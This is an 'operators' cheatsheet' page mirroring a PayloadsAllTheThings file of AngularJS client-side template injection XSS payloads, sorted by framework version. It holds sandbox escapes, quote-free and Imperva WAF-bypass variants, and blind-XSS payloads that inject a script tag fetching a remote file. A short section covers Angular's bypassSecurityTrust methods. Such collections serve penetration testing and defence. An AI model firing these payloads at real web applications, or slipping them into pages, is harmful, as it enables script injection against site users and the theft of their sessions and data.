daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

5-xss-in-angular.md (11560B)


      1 ---
      2 title: "XSS in Angular and AngularJS"
      3 topic: "XSS Injection"
      4 topicSlug: "xss-injection"
      5 sourcePath: "XSS Injection/5 - XSS in Angular.md"
      6 sourceUrl: "https://github.com/swisskyrepo/PayloadsAllTheThings/blob/3ac27901c711/XSS%20Injection/5%20-%20XSS%20in%20Angular.md"
      7 sha: "3ac27901c711"
      8 isReadme: false
      9 ---
     10 
     11 # XSS in Angular and AngularJS
     12 
     13 ## Summary
     14 
     15 * [Client Side Template Injection](#client-side-template-injection)
     16     * [Stored/Reflected XSS](#storedreflected-xss)
     17     * [Advanced Bypassing XSS](#advanced-bypassing-xss)
     18     * [Blind XSS](#blind-xss)
     19 * [Automatic Sanitization](#automatic-sanitization)
     20 * [References](#references)
     21 
     22 ## Client Side Template Injection
     23 
     24 The following payloads are based on Client Side Template Injection.
     25 
     26 ### Stored/Reflected XSS
     27 
     28 `ng-app` directive must be present in a root element to allow the client-side injection (cf. [AngularJS: API: ngApp](https://docs.angularjs.org/api/ng/directive/ngApp)).
     29 
     30 > AngularJS as of version 1.6 have removed the sandbox altogether
     31 
     32 AngularJS 1.6+ by [Mario Heiderich](https://twitter.com/cure53berlin)
     33 
     34 ```javascript
     35 {{constructor.constructor('alert(1)')()}}
     36 ```
     37 
     38 AngularJS 1.6+ by [@brutelogic](https://twitter.com/brutelogic/status/1031534746084491265)
     39 
     40 ```javascript
     41 {{[].pop.constructor&#40'alert\u00281\u0029'&#41&#40&#41}}
     42 ```
     43 
     44 AngularJS 1.6.0 by [@LewisArdern](https://twitter.com/LewisArdern/status/1055887619618471938) and [@garethheyes](https://twitter.com/garethheyes/status/1055884215131213830)
     45 
     46 ```javascript
     47 {{0[a='constructor'][a](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/3ac27901c711/XSS%20Injection/%27alert%281)')()}}
     48 {{$eval.constructor('alert(1)')()}}
     49 {{$on.constructor('alert(1)')()}}
     50 ```
     51 
     52 AngularJS 1.5.9 - 1.5.11 by [Jan Horn](https://twitter.com/tehjh)
     53 
     54 ```javascript
     55 {{
     56     c=''.sub.call;b=''.sub.bind;a=''.sub.apply;
     57     c.$apply=$apply;c.$eval=b;op=$root.$$phase;
     58     $root.$$phase=null;od=$root.$digest;$root.$digest=({}).toString;
     59     C=c.$apply(c);$root.$$phase=op;$root.$digest=od;
     60     B=C(b,c,b);$evalAsync("
     61     astNode=pop();astNode.type='UnaryExpression';
     62     astNode.operator='(window.X?void0:(window.X=true,alert(1)))+';
     63     astNode.argument={type:'Identifier',name:'foo'};
     64     ");
     65     m1=B($$asyncQueue.pop().expression,null,$root);
     66     m2=B(C,null,m1);[].push.apply=m2;a=''.sub;
     67     $eval('a(b.c)');[].push.apply=a;
     68 }}
     69 ```
     70 
     71 AngularJS 1.5.0 - 1.5.8
     72 
     73 ```javascript
     74 {{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}}
     75 ```
     76 
     77 AngularJS 1.4.0 - 1.4.9
     78 
     79 ```javascript
     80 {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}
     81 ```
     82 
     83 AngularJS 1.3.20
     84 
     85 ```javascript
     86 {{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)');}}
     87 ```
     88 
     89 AngularJS 1.3.19
     90 
     91 ```javascript
     92 {{
     93     'a'[{toString:false,valueOf:[].join,length:1,0:'__proto__'}].charAt=[].join;
     94     $eval('x=alert(1)//');
     95 }}
     96 ```
     97 
     98 AngularJS 1.3.3 - 1.3.18
     99 
    100 ```javascript
    101 {{{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;
    102   'a'.constructor.prototype.charAt=[].join;
    103   $eval('x=alert(1)//');  }}
    104 ```
    105 
    106 AngularJS 1.3.1 - 1.3.2
    107 
    108 ```javascript
    109 {{
    110     {}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;
    111     'a'.constructor.prototype.charAt=''.valueOf;
    112     $eval('x=alert(1)//');
    113 }}
    114 ```
    115 
    116 AngularJS 1.3.0
    117 
    118 ```javascript
    119 {{!ready && (ready = true) && (
    120       !call
    121       ? $$watchers[0].get(toString.constructor.prototype)
    122       : (a = apply) &&
    123         (apply = constructor) &&
    124         (valueOf = call) &&
    125         (''+''.toString(
    126           'F = Function.prototype;' +
    127           'F.apply = F.a;' +
    128           'delete F.a;' +
    129           'delete F.valueOf;' +
    130           'alert(1);'
    131         ))
    132     );}}
    133 ```
    134 
    135 AngularJS 1.2.24 - 1.2.29
    136 
    137 ```javascript
    138 {{'a'.constructor.prototype.charAt=''.valueOf;$eval("x='\"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+\"'");}}
    139 ```
    140 
    141 AngularJS 1.2.19 - 1.2.23
    142 
    143 ```javascript
    144 {{toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"].sort(toString.constructor);}}
    145 ```
    146 
    147 AngularJS 1.2.6 - 1.2.18
    148 
    149 ```javascript
    150 {{(_=''.sub).call.call({}[$='constructor'].getOwnPropertyDescriptor(_.__proto__,$).value,0,'alert(1)')()}}
    151 ```
    152 
    153 AngularJS 1.2.2 - 1.2.5
    154 
    155 ```javascript
    156 {{'a'[{toString:[].join,length:1,0:'__proto__'}].charAt=''.valueOf;$eval("x='"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+"'");}}
    157 ```
    158 
    159 AngularJS 1.2.0 - 1.2.1
    160 
    161 ```javascript
    162 {{a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()}}
    163 ```
    164 
    165 AngularJS 1.0.1 - 1.1.5 and Vue JS
    166 
    167 ```javascript
    168 {{constructor.constructor('alert(1)')()}}
    169 ```
    170 
    171 ### Advanced Bypassing XSS
    172 
    173 AngularJS (without `'` single and `"` double quotes) by [@Viren](https://twitter.com/VirenPawar_)
    174 
    175 ```javascript
    176 {{x=valueOf.name.constructor.fromCharCode;constructor.constructor(x(97,108,101,114,116,40,49,41))()}}
    177 ```
    178 
    179 AngularJS (without `'` single and `"` double quotes and `constructor` string)
    180 
    181 ```javascript
    182 {{x=767015343;y=50986827;a=x.toString(36)+y.toString(36);b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,toString()[a].fromCharCode(112,114,111,109,112,116,40,100,111,99,117,109,101,110,116,46,100,111,109,97,105,110,41))()}}
    183 ```
    184 
    185 ```javascript
    186 {{x=767015343;y=50986827;a=x.toString(36)+y.toString(36);b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,toString()[a].fromCodePoint(112,114,111,109,112,116,40,100,111,99,117,109,101,110,116,46,100,111,109,97,105,110,41))()}}
    187 ```
    188 
    189 ```javascript
    190 {{x=767015343;y=50986827;a=x.toString(36)+y.toString(36);a.sub.call.call({}[a].getOwnPropertyDescriptor(a.sub.__proto__,a).value,0,toString()[a].fromCharCode(112,114,111,109,112,116,40,100,111,99,117,109,101,110,116,46,100,111,109,97,105,110,41))()}}
    191 ```
    192 
    193 ```javascript
    194 {{x=767015343;y=50986827;a=x.toString(36)+y.toString(36);a.sub.call.call({}[a].getOwnPropertyDescriptor(a.sub.__proto__,a).value,0,toString()[a].fromCodePoint(112,114,111,109,112,116,40,100,111,99,117,109,101,110,116,46,100,111,109,97,105,110,41))()}}
    195 ```
    196 
    197 AngularJS bypass Waf [Imperva]
    198 
    199 ```javascript
    200 {{x=['constr', 'uctor'];a=x.join('');b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'pr\\u{6f}mpt(d\\u{6f}cument.d\\u{6f}main)')()}}
    201 ```
    202 
    203 ### Blind XSS
    204 
    205 1.0.1 - 1.1.5 && > 1.6.0 by Mario Heiderich (Cure53)
    206 
    207 ```javascript
    208 {{
    209     constructor.constructor("var _ = document.createElement('script');
    210     _.src='//localhost/m';
    211     document.getElementsByTagName('body')[0].appendChild(_)")()
    212 }}
    213 ```
    214 
    215 Shorter 1.0.1 - 1.1.5 && > 1.6.0 by Lewis Ardern (Synopsys) and Gareth Heyes (PortSwigger)
    216 
    217 ```javascript
    218 {{
    219     $on.constructor("var _ = document.createElement('script');
    220     _.src='//localhost/m';
    221     document.getElementsByTagName('body')[0].appendChild(_)")()
    222 }}
    223 ```
    224 
    225 1.2.0 - 1.2.5 by Gareth Heyes (PortSwigger)
    226 
    227 ```javascript
    228 {{
    229     a="a"["constructor"].prototype;a.charAt=a.trim;
    230     $eval('a",eval(`var _=document\\x2ecreateElement(\'script\');
    231     _\\x2esrc=\'//localhost/m\';
    232     document\\x2ebody\\x2eappendChild(_);`),"')
    233 }}
    234 ```
    235 
    236 1.2.6 - 1.2.18 by Jan Horn (Cure53, now works at Google Project Zero)
    237 
    238 ```javascript
    239 {{
    240     (_=''.sub).call.call({}[$='constructor'].getOwnPropertyDescriptor(_.__proto__,$).value,0,'eval("
    241         var _ = document.createElement(\'script\');
    242         _.src=\'//localhost/m\';
    243         document.getElementsByTagName(\'body\')[0].appendChild(_)")')()
    244 }}
    245 ```
    246 
    247 1.2.19 (FireFox) by Mathias Karlsson
    248 
    249 ```javascript
    250 {{
    251     toString.constructor.prototype.toString=toString.constructor.prototype.call;
    252     ["a",'eval("var _ = document.createElement(\'script\');
    253     _.src=\'//localhost/m\';
    254     document.getElementsByTagName(\'body\')[0].appendChild(_)")'].sort(toString.constructor);
    255 }}
    256 ```
    257 
    258 1.2.20 - 1.2.29 by Gareth Heyes (PortSwigger)
    259 
    260 ```javascript
    261 {{
    262     a="a"["constructor"].prototype;a.charAt=a.trim;
    263     $eval('a",eval(`
    264     var _=document\\x2ecreateElement(\'script\');
    265     _\\x2esrc=\'//localhost/m\';
    266     document\\x2ebody\\x2eappendChild(_);`),"')
    267 }}
    268 ```
    269 
    270 1.3.0 - 1.3.9 by Gareth Heyes (PortSwigger)
    271 
    272 ```javascript
    273 {{
    274     a=toString().constructor.prototype;a.charAt=a.trim;
    275     $eval('a,eval(`
    276     var _=document\\x2ecreateElement(\'script\');
    277     _\\x2esrc=\'//localhost/m\';
    278     document\\x2ebody\\x2eappendChild(_);`),a')
    279 }}
    280 ```
    281 
    282 1.4.0 - 1.5.8 by Gareth Heyes (PortSwigger)
    283 
    284 ```javascript
    285 {{
    286     a=toString().constructor.prototype;a.charAt=a.trim;
    287     $eval('a,eval(`var _=document.createElement(\'script\');
    288     _.src=\'//localhost/m\';document.body.appendChild(_);`),a')
    289 }}
    290 ```
    291 
    292 1.5.9 - 1.5.11 by Jan Horn (Cure53, now works at Google Project Zero)
    293 
    294 ```javascript
    295 {{
    296     c=''.sub.call;b=''.sub.bind;a=''.sub.apply;c.$apply=$apply;
    297     c.$eval=b;op=$root.$$phase;
    298     $root.$$phase=null;od=$root.$digest;$root.$digest=({}).toString;
    299     C=c.$apply(c);$root.$$phase=op;$root.$digest=od;
    300     B=C(b,c,b);$evalAsync("astNode=pop();astNode.type='UnaryExpression';astNode.operator='(window.X?void0:(window.X=true,eval(`var _=document.createElement(\\'script\\');_.src=\\'//localhost/m\\';document.body.appendChild(_);`)))+';astNode.argument={type:'Identifier',name:'foo'};");
    301     m1=B($$asyncQueue.pop().expression,null,$root);
    302     m2=B(C,null,m1);[].push.apply=m2;a=''.sub;
    303     $eval('a(b.c)');[].push.apply=a;
    304 }}
    305 ```
    306 
    307 ## Automatic Sanitization
    308 
    309 > To systematically block XSS bugs, Angular treats all values as untrusted by default. When a value is inserted into the DOM from a template, via property, attribute, style, class binding, or interpolation, Angular sanitizes and escapes untrusted values.
    310 
    311 However, it is possible to mark a value as trusted and prevent the automatic sanitization with these methods:
    312 
    313 * bypassSecurityTrustHtml
    314 * bypassSecurityTrustScript
    315 * bypassSecurityTrustStyle
    316 * bypassSecurityTrustUrl
    317 * bypassSecurityTrustResourceUrl
    318 
    319 Example of a component using the unsecure method `bypassSecurityTrustUrl`:
    320 
    321 ```js
    322 import { Component, OnInit } from '@angular/core';
    323 
    324 @Component({
    325   selector: 'my-app',
    326   template: `
    327     <h4>An untrusted URL:</h4>
    328     <p><a class="e2e-dangerous-url" [href]="dangerousUrl">Click me</a></p>
    329     <h4>A trusted URL:</h4>
    330     <p><a class="e2e-trusted-url" [href]="trustedUrl">Click me</a></p>
    331   `,
    332 })
    333 export class App {
    334   constructor(private sanitizer: DomSanitizer) {
    335     this.dangerousUrl = 'javascript:alert("Hi there")';
    336     this.trustedUrl = sanitizer.bypassSecurityTrustUrl(this.dangerousUrl);
    337   }
    338 }
    339 ```
    340 
    341 ![XSS](https://angular.io/generated/images/guide/security/bypass-security-component.png)
    342 
    343 When doing a code review, you want to make sure that no user input is being trusted since it will introduce a security vulnerability in the application.
    344 
    345 ## References
    346 
    347 * [Angular Security - May 16, 2023](https://angular.io/guide/security)
    348 * [Bidding Like a Billionaire - Stealing NFTs With 4-Char CSTIs - Matan Berson (@MtnBer) - July 11, 2024](https://web.archive.org/web/20250118075113/https://matanber.com/blog/4-char-csti)
    349 * [Blind XSS AngularJS Payloads - Lewis Ardern - December 7, 2018](http://web.archive.org/web/20181209041100/https://ardern.io/2018/12/07/angularjs-bxss/)
    350 * [Bypass DomSanitizer - Swarna (@swarnakishore) - August 11, 2017](https://web.archive.org/web/20250908023652/https://medium.com/@swarnakishore/angular-safe-pipe-implementation-to-bypass-domsanitizer-stripping-out-content-c1bf0f1cc36b)
    351 * [XSS without HTML - CSTI with Angular JS - Gareth Heyes (@garethheyes) - January 27, 2016](https://web.archive.org/web/20190331015852/https://portswigger.net/blog/xss-without-html-client-side-template-injection-with-angularjs)